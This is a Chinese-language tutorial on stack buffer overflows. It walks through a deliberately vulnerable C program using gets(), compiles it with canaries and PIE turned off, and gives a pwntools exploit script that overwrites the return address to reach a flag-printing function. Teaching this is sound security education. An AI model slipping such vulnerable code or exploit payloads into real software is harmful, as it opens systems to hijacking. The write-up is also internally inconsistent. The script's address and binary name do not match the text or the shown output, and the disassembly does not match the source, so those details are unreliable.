栈溢出原理

介绍

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。此外，我们也不难发现，发生栈溢出的基本前提是.

• 程序必须向栈上写入数据。
• 写入的数据大小没有被良好地控制。

基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址，当然需要确保这个地址所在的段具有可执行权限。

#include <stdio.h>
#include <string.h>

void success(){
        puts("The flag is flag{Tri0mphe!!!}");
}
void vulnerable() {
        char s[12];
        gets(s);
        puts(s);
        return;
}
int main(int argc , int **argv){
        vulnerable();
        return 0;
}

这个程序的主要目的读取一个字符串，并将其输出。我们希望可以控制程序执行 success 函数。

1. 进行编译
   我们使用下面命令进行编译gcc -m32 -fno-stack-protector -no-pie stack-overflow.c -o stack-overflow

root@kali:~/temp# gcc -m32 -fno-stack-protector -no-pie stack-overflow.c -o stack-overflow
stack-overflow.c: In function ‘vulnerable’:
stack-overflow.c:10:2: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
  gets(s);
  ^~~~
  fgets
/usr/bin/ld: /tmp/ccvmZi99.o: in function `vulnerable':
stack-overflow.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used.

因为gets是一个非常危险的函数,它从不检查输入字符串的长度,以回车判断输入是否结束.
gcc编译指令中,-m32指的是生成32位程序,-fno-stack-protector指的是不开启堆栈溢出保护，即不生成 canary。-no-pie避免加载基址被打乱.

root@kali:~/temp# checksec stack-overflow
[*] '/root/temp/stack-overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.IDA反编译

int vulnerable()
{
  char s; // [esp+4h] [ebp-14h]

  gets(&s);
  return puts(&s);
}

字符串s距离ebp的长度为0x14,所以栈结构s是
[外链图片转存失败(img-zPyIZk71-1564741311529)(../images/2018-12-10-16-30-04.png)]
而且我们可以可以获得success函数的返回地址为08049192

.text:08049192                 push    ebp
.text:08049193                 mov     ebp, esp
.text:08049195                 push    ebx
.text:08049196                 sub     esp, 4
.text:08049199                 call    __x86_get_pc_thunk_ax
.text:0804919E                 add     eax, 2E62h
.text:080491A3                 sub     esp, 0Ch
.text:080491A6                 lea     edx, (aYouHavaAlready - 804C000h)[eax] ; "You Hava already controlled it."
.text:080491AC                 push    edx             ; s
.text:080491AD                 mov     ebx, eax
.text:080491AF                 call    _puts
.text:080491B4                 add     esp, 10h
.text:080491B7                 nop
.text:080491B8                 mov     ebx, [ebp+var_4]
.text:080491BB                 leave
.text:080491BC                 retn

所以我们输入的字符串就是0x14*'a'+'bbbb'+success_addr.14个a覆盖了字符串数组,4个b覆盖ebp的地址,然后将success的地址覆盖到返回地址上.

3. 代码

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

通过交互成功实现了栈溢出

root@kali:~/temp# python2 stack-overflow.py
[+] Starting local process './stack-overflow': pid 1386
\x92\x91\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb\x92\x91\x0
The flag is flag{Tri0mphe!!!}
[*] Got EOF while reading in interactive
$
[*] Process './stack-overflow' stopped with exit code -11 (SIGSEGV) (pid 1386)
[*] Got EOF while sending in interactive